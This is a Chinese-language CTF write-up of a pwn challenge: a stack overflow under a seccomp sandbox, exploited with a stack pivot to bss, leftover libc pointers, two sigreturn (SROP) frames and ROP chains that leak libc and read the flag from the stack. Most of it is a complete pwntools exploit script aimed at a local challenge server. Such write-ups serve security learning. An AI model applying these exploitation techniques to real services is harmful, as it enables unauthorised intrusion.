这是出的比较迟的题目,结束的时候还有385,当时比赛第二天在看这题,但是没做出来

漏洞点很明显,就是一个很大的栈溢出,另外可以将byte ptr[rbp-8]的值改为我们输入的长度
但是题目也限制了沙箱,顺便推一下我写的沙箱工具ceccompXD
seccomp

利用手法

赛后看了星盟的WP,大致思路是通过start来在bss区留下libc的rx段指针用来覆盖,在通过libc_start_main附近的一个mov eax, edx; syscall的gadget来利用
我当时没想到可以用start来留下指针,在考虑用stdin,stdout等指针利用

syscall

于是思路就很清晰了,栈迁移到bss,在bss上用两次start留下可覆写的libc_start_main附近的指针(因为需要用到两次)
构造好两次用来srop的Sigframe和返回地址后
在一次的read只写入0xf个字节,并跳转到先前准备好的mov eax, edx; syscall来执行sigreturn系统调用(sigreturn调用号为0xf)

在第一次的sigreturn将rip设置为随便一个ret
并让rsp设置为先前准备好的另一个libc_start_main覆写得到的syscall地址(也就是两个指针一个取mov eax, edx; syscall,另一个取syscall)
rax设为1,rdi设为1,rsi设为got表上read或是其他有libc的地址,rdx设为0xf

这样就可以执行一次write获取libc地址,至此最难的部分就结束了。
前面说到rdx设为0xf是为了让write的返回值rax也为0xf,由于我们找的这个syscall比较特殊,在syscall后会jmp到原来的位置,继续执行下一次syscall
这里就可以让第二次syscall执行sigreturn,这样就可以用到第二个准备的srop的Sigframe了,然后只要再回到start走rop读取栈上的环境变量即可

flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
from pwnlib.rop import gadgets

context(
terminal=['kitty'],
os='linux',
arch='amd64',
log_level='debug',
)

main = 0x4015A8
main_ = 0x4015FB
start = 0x401170

rbp = 0x404038
bss = 0x404800
ret = 0x40161F
cnt = 0x404018

libc = ELF('./libc.so.6')
elf = ELF('./chall')
io = remote('127.0.0.1', 9000)

payload = p64(0x0) * 3 + p64(0x404000) + p64(0x404800) + p64(main_)
io.send(payload)
sleep(0.1)
payload = p64(0x0) * 3 + p64(0x404000) + p64(0x0) + p64(start)
io.send(payload)
sleep(0.1)
payload = p64(0x0) * 3 + p64(0x404000) + p64(0x0) + p64(start)
io.send(payload)
sleep(0.1)
payload = p64(0x0) * 3 + p64(0x404000) + p64(0x4046d0) + p64(main_)
io.send(payload)
sleep(0.1)
frame = SigreturnFrame()
frame.rip = start
frame.rsp = 0x404800
frame.rbp = 0x404800
frame['uc_stack.ss_flags'] = 0x404000
frame['uc_stack.ss_size'] = 0x404600
frame.r8 = main_
payload = bytes(frame)
io.send(payload)
sleep(0.1)
payload = p64(0x0) * 3 + p64(0x404000) + p64(0x4047D0) + p64(main_)
payload = payload.ljust(0xc8, b'\x00')
# 1/16 here
payload += p16(0x6db4)
io.send(payload)
sleep(0.1)
frame = SigreturnFrame()
frame.rax = 0x1
frame.rdi = 0x1
frame.rsi = 0x403fc0
frame.rdx = 0xf
frame.rsp = 0x4046A8
frame.rbp = 0x4046A8
frame.rip = ret
frame['uc_stack.ss_flags'] = 0x404000
frame['uc_stack.ss_size'] = 0x404798
frame.r8 = main_
payload = bytes(frame)
io.send(payload)

sleep(0.1)
# 1/16 here, but it share the same 1/16 with the earlier one
payload = p64(0x0) * 3 + p64(0x404000) + p64(0x4047a0) + p64(main_) + p16(0x6db2)
io.send(payload)

sleep(0.1)
payload = p64(main_) + b'a' * 0x7
io.send(payload)

# io.recvuntil(b'\n')
# io.recvuntil(b'\n')
# io.recvuntil(b'\n')
# this is for local test
libc.address = u64(io.recv(0x8)) - 0x114840
io.recv(0x7)
print(hex(libc.address))

gadgets = ROP(libc)
rax = gadgets.rax.address
rdi = gadgets.rdi.address
rsi = gadgets.rsi.address
rbp = gadgets.rbp.address
rdx_rbx = 0x904a9 + libc.address
syscall = 0x91316 + libc.address

sleep(0.1)
rop = flat(
rax, 0x1,
rdi, 0x1,
rsi, libc.address - 0x2228,
rdx_rbx, 0x8, 0x0,
rbp, 0x404800,
syscall,
main_,
)
payload = p64(0x0) * 3 + p64(0x404000) + p64(0x0) + rop
io.send(payload)

stack = (u64(io.recv(0x8)) &~ 0xfff) + 0xf00
print(hex(stack))
sleep(0.1)
rop = flat(
rax, 0x1,
rdi, 0x1,
rsi, stack,
rdx_rbx, 0x100, 0x0,
syscall,
main_,
)
payload = p64(0x0) * 3 + p64(0x404000) + p64(0x404800) + rop
io.send(payload)

# print(io.recvall())
io.interactive()